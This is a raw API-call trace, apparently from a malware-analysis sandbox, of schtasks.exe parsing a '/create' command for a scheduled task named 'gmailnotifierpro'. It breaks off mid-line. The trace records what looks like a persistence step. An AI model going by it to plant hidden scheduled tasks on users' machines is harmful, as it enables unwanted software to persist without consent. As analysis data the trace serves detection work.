[0108.637] GetProcessHeap () returned 0x208f92d0000 [0108.637] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d8f30 [0108.637] GetProcessHeap () returned 0x208f92d0000 [0108.637] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d8f60 [0108.637] GetProcessHeap () returned 0x208f92d0000 [0108.637] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d8ea0 [0108.637] SetThreadUILanguage (LangId=0x0) returned 0x409 [0108.642] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.642] GetProcessHeap () returned 0x208f92d0000 [0108.642] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d9050 [0108.642] GetProcessHeap () returned 0x208f92d0000 [0108.642] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d8e70 [0108.642] GetProcessHeap () returned 0x208f92d0000 [0108.642] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d90e0 [0108.642] GetProcessHeap () returned 0x208f92d0000 [0108.642] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d8fc0 [0108.642] GetProcessHeap () returned 0x208f92d0000 [0108.642] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d9080 [0108.642] GetProcessHeap () returned 0x208f92d0000 [0108.642] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d47d0 [0108.642] _memicmp (_Buf1=0x208f92d47d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.642] GetProcessHeap () returned 0x208f92d0000 [0108.642] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x208) returned 0x208f92d9b10 [0108.642] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x208f92d9b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0108.642] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x13e077f328 | out: lpdwHandle=0x13e077f328) returned 0x76c [0108.644] GetProcessHeap () returned 0x208f92d0000 [0108.644] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x776) returned 0x208f92da870 [0108.644] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x208f92da870 | out: lpData=0x208f92da870) returned 1 [0108.645] VerQueryValueW (in: pBlock=0x208f92da870, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13e077f2c0, puLen=0x13e077f320 | out: lplpBuffer=0x13e077f2c0*=0x208f92dac20, puLen=0x13e077f320) returned 1 [0108.647] _memicmp (_Buf1=0x208f92d47d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.647] _vsnwprintf (in: _Buffer=0x208f92d9b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13e077f298 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0108.647] VerQueryValueW (in: pBlock=0x208f92da870, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13e077f2b0, puLen=0x13e077f318 | out: lplpBuffer=0x13e077f2b0*=0x208f92daa50, puLen=0x13e077f318) returned 1 [0108.647] lstrlenW (lpString="schtasks.exe") returned 12 [0108.647] lstrlenW (lpString="schtasks.exe") returned 12 [0108.648] lstrlenW (lpString=".EXE") returned 4 [0108.648] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0108.648] lstrlenW (lpString="schtasks.exe") returned 12 [0108.648] lstrlenW (lpString=".EXE") returned 4 [0108.648] _memicmp (_Buf1=0x208f92d47d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.648] lstrlenW (lpString="schtasks") returned 8 [0108.648] GetProcessHeap () returned 0x208f92d0000 [0108.648] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d90b0 [0108.648] GetProcessHeap () returned 0x208f92d0000 [0108.648] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d9110 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db830 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db800 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d47f0 [0108.649] _memicmp (_Buf1=0x208f92d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0xa0) returned 0x208f92d3870 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db8c0 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db860 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db980 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d4810 [0108.649] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x200) returned 0x208f92dbb40 [0108.649] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0108.649] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0108.649] GetProcessHeap () returned 0x208f92d0000 [0108.649] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x30) returned 0x208f92d3920 [0108.649] _vsnwprintf (in: _Buffer=0x208f92d3870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13e077f298 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0108.650] GetProcessHeap () returned 0x208f92d0000 [0108.650] GetProcessHeap () returned 0x208f92d0000 [0108.650] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92da870) returned 1 [0108.650] GetProcessHeap () returned 0x208f92d0000 [0108.650] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92da870) returned 0x776 [0108.650] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92da870) returned 1 [0108.651] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.651] GetThreadLocale () returned 0x409 [0108.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.651] lstrlenW (lpString="?") returned 1 [0108.651] GetThreadLocale () returned 0x409 [0108.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.651] lstrlenW (lpString="create") returned 6 [0108.651] GetThreadLocale () returned 0x409 [0108.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.651] lstrlenW (lpString="delete") returned 6 [0108.651] GetThreadLocale () returned 0x409 [0108.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.651] lstrlenW (lpString="query") returned 5 [0108.651] GetThreadLocale () returned 0x409 [0108.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.651] lstrlenW (lpString="change") returned 6 [0108.651] GetThreadLocale () returned 0x409 [0108.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.651] lstrlenW (lpString="run") returned 3 [0108.651] GetThreadLocale () returned 0x409 [0108.651] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.651] lstrlenW (lpString="end") returned 3 [0108.652] GetThreadLocale () returned 0x409 [0108.652] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.652] lstrlenW (lpString="showsid") returned 7 [0108.652] GetThreadLocale () returned 0x409 [0108.652] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.652] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.652] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.652] lstrlenW (lpString="/create") returned 7 [0108.652] lstrlenW (lpString="-/") returned 2 [0108.652] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.652] lstrlenW (lpString="?") returned 1 [0108.652] lstrlenW (lpString="?") returned 1 [0108.652] GetProcessHeap () returned 0x208f92d0000 [0108.652] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d3ef0 [0108.652] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.652] GetProcessHeap () returned 0x208f92d0000 [0108.652] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0xa) returned 0x208f92d3f10 [0108.652] lstrlenW (lpString="create") returned 6 [0108.652] GetProcessHeap () returned 0x208f92d0000 [0108.652] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d3f30 [0108.652] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.652] GetProcessHeap () returned 0x208f92d0000 [0108.652] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x14) returned 0x208f92d3f50 [0108.652] _vsnwprintf (in: _Buffer=0x208f92d3f10, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|?|") returned 3 [0108.653] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|create|") returned 8 [0108.653] lstrlenW (lpString="|?|") returned 3 [0108.653] lstrlenW (lpString="|create|") returned 8 [0108.653] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.653] lstrlenW (lpString="create") returned 6 [0108.653] lstrlenW (lpString="create") returned 6 [0108.653] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.653] GetProcessHeap () returned 0x208f92d0000 [0108.653] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3f10) returned 1 [0108.653] GetProcessHeap () returned 0x208f92d0000 [0108.653] RtlReAllocateHeap (Heap=0x208f92d0000, Flags=0xc, Ptr=0x208f92d3f10, Size=0x14) returned 0x208f92d4260 [0108.653] lstrlenW (lpString="create") returned 6 [0108.653] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.653] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|create|") returned 8 [0108.653] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|create|") returned 8 [0108.653] lstrlenW (lpString="|create|") returned 8 [0108.653] lstrlenW (lpString="|create|") returned 8 [0108.653] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0108.653] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.653] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.653] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.653] lstrlenW (lpString="/tn") returned 3 [0108.653] lstrlenW (lpString="-/") returned 2 [0108.653] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.654] lstrlenW (lpString="?") returned 1 [0108.654] lstrlenW (lpString="?") returned 1 [0108.654] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.656] lstrlenW (lpString="tn") returned 2 [0108.656] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.656] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|?|") returned 3 [0108.656] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tn|") returned 4 [0108.657] lstrlenW (lpString="|?|") returned 3 [0108.657] lstrlenW (lpString="|tn|") returned 4 [0108.657] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.657] lstrlenW (lpString="create") returned 6 [0108.657] lstrlenW (lpString="create") returned 6 [0108.657] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.657] lstrlenW (lpString="tn") returned 2 [0108.657] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.657] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|create|") returned 8 [0108.657] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tn|") returned 4 [0108.657] lstrlenW (lpString="|create|") returned 8 [0108.657] lstrlenW (lpString="|tn|") returned 4 [0108.657] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0108.657] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.657] lstrlenW (lpString="delete") returned 6 [0108.657] lstrlenW (lpString="delete") returned 6 [0108.657] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.657] lstrlenW (lpString="tn") returned 2 [0108.657] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.657] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|delete|") returned 8 [0108.657] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tn|") returned 4 [0108.657] lstrlenW (lpString="|delete|") returned 8 [0108.657] lstrlenW (lpString="|tn|") returned 4 [0108.658] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0108.658] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.658] lstrlenW (lpString="query") returned 5 [0108.658] lstrlenW (lpString="query") returned 5 [0108.658] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.658] lstrlenW (lpString="tn") returned 2 [0108.658] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.658] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|query|") returned 7 [0108.658] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tn|") returned 4 [0108.658] lstrlenW (lpString="|query|") returned 7 [0108.658] lstrlenW (lpString="|tn|") returned 4 [0108.658] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0108.658] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.658] lstrlenW (lpString="change") returned 6 [0108.658] lstrlenW (lpString="change") returned 6 [0108.658] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.658] lstrlenW (lpString="tn") returned 2 [0108.658] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.658] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|change|") returned 8 [0108.658] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tn|") returned 4 [0108.658] lstrlenW (lpString="|change|") returned 8 [0108.658] lstrlenW (lpString="|tn|") returned 4 [0108.658] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0108.658] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.659] lstrlenW (lpString="run") returned 3 [0108.659] lstrlenW (lpString="run") returned 3 [0108.659] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.659] lstrlenW (lpString="tn") returned 2 [0108.659] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.659] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|run|") returned 5 [0108.659] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tn|") returned 4 [0108.659] lstrlenW (lpString="|run|") returned 5 [0108.659] lstrlenW (lpString="|tn|") returned 4 [0108.659] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0108.659] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.659] lstrlenW (lpString="end") returned 3 [0108.659] lstrlenW (lpString="end") returned 3 [0108.659] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.659] lstrlenW (lpString="tn") returned 2 [0108.659] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.659] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|end|") returned 5 [0108.659] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tn|") returned 4 [0108.659] lstrlenW (lpString="|end|") returned 5 [0108.659] lstrlenW (lpString="|tn|") returned 4 [0108.659] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0108.659] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.659] lstrlenW (lpString="showsid") returned 7 [0108.659] lstrlenW (lpString="showsid") returned 7 [0108.660] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.660] GetProcessHeap () returned 0x208f92d0000 [0108.660] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4260) returned 1 [0108.660] GetProcessHeap () returned 0x208f92d0000 [0108.660] RtlReAllocateHeap (Heap=0x208f92d0000, Flags=0xc, Ptr=0x208f92d4260, Size=0x16) returned 0x208f92d4260 [0108.660] lstrlenW (lpString="tn") returned 2 [0108.660] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.660] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|showsid|") returned 9 [0108.660] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tn|") returned 4 [0108.660] lstrlenW (lpString="|showsid|") returned 9 [0108.660] lstrlenW (lpString="|tn|") returned 4 [0108.660] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0108.660] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.660] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.660] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.660] lstrlenW (lpString="/tn") returned 3 [0108.660] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0108.660] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.660] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.660] lstrlenW (lpString="/tn") returned 3 [0108.660] GetProcessHeap () returned 0x208f92d0000 [0108.660] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x8) returned 0x208f92d3f10 [0108.660] GetProcessHeap () returned 0x208f92d0000 [0108.660] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92dbaa0 [0108.660] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.661] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.661] lstrlenW (lpString="gmailnotifierpro") returned 16 [0108.661] lstrlenW (lpString="-/") returned 2 [0108.661] StrChrIW (lpStart="-/", wMatch=0x67) returned 0x0 [0108.661] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.661] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.661] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.661] lstrlenW (lpString="gmailnotifierpro") returned 16 [0108.661] StrChrIW (lpStart="gmailnotifierpro", wMatch=0x3a) returned 0x0 [0108.661] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.661] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.661] lstrlenW (lpString="gmailnotifierpro") returned 16 [0108.661] GetProcessHeap () returned 0x208f92d0000 [0108.661] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x22) returned 0x208f92db9e0 [0108.661] GetProcessHeap () returned 0x208f92d0000 [0108.661] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92dbb00 [0108.661] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.661] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.661] lstrlenW (lpString="/sc") returned 3 [0108.661] lstrlenW (lpString="-/") returned 2 [0108.661] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.661] lstrlenW (lpString="?") returned 1 [0108.661] lstrlenW (lpString="?") returned 1 [0108.661] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.661] lstrlenW (lpString="sc") returned 2 [0108.661] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.662] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|?|") returned 3 [0108.662] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|sc|") returned 4 [0108.662] lstrlenW (lpString="|?|") returned 3 [0108.662] lstrlenW (lpString="|sc|") returned 4 [0108.662] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.662] lstrlenW (lpString="create") returned 6 [0108.662] lstrlenW (lpString="create") returned 6 [0108.662] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.662] lstrlenW (lpString="sc") returned 2 [0108.662] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.662] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|create|") returned 8 [0108.662] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|sc|") returned 4 [0108.662] lstrlenW (lpString="|create|") returned 8 [0108.662] lstrlenW (lpString="|sc|") returned 4 [0108.662] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0108.662] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.662] lstrlenW (lpString="delete") returned 6 [0108.662] lstrlenW (lpString="delete") returned 6 [0108.662] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.662] lstrlenW (lpString="sc") returned 2 [0108.662] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.662] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|delete|") returned 8 [0108.662] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|sc|") returned 4 [0108.662] lstrlenW (lpString="|delete|") returned 8 [0108.662] lstrlenW (lpString="|sc|") returned 4 [0108.663] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0108.663] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.663] lstrlenW (lpString="query") returned 5 [0108.663] lstrlenW (lpString="query") returned 5 [0108.663] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.663] lstrlenW (lpString="sc") returned 2 [0108.663] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.663] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|query|") returned 7 [0108.663] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|sc|") returned 4 [0108.663] lstrlenW (lpString="|query|") returned 7 [0108.663] lstrlenW (lpString="|sc|") returned 4 [0108.663] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0108.663] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.663] lstrlenW (lpString="change") returned 6 [0108.663] lstrlenW (lpString="change") returned 6 [0108.663] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.663] lstrlenW (lpString="sc") returned 2 [0108.663] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.663] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|change|") returned 8 [0108.663] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|sc|") returned 4 [0108.663] lstrlenW (lpString="|change|") returned 8 [0108.663] lstrlenW (lpString="|sc|") returned 4 [0108.663] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0108.664] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.664] lstrlenW (lpString="run") returned 3 [0108.664] lstrlenW (lpString="run") returned 3 [0108.664] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.664] lstrlenW (lpString="sc") returned 2 [0108.664] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.664] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|run|") returned 5 [0108.664] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|sc|") returned 4 [0108.664] lstrlenW (lpString="|run|") returned 5 [0108.664] lstrlenW (lpString="|sc|") returned 4 [0108.664] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0108.664] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.664] lstrlenW (lpString="end") returned 3 [0108.664] lstrlenW (lpString="end") returned 3 [0108.664] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.664] lstrlenW (lpString="sc") returned 2 [0108.664] _memicmp 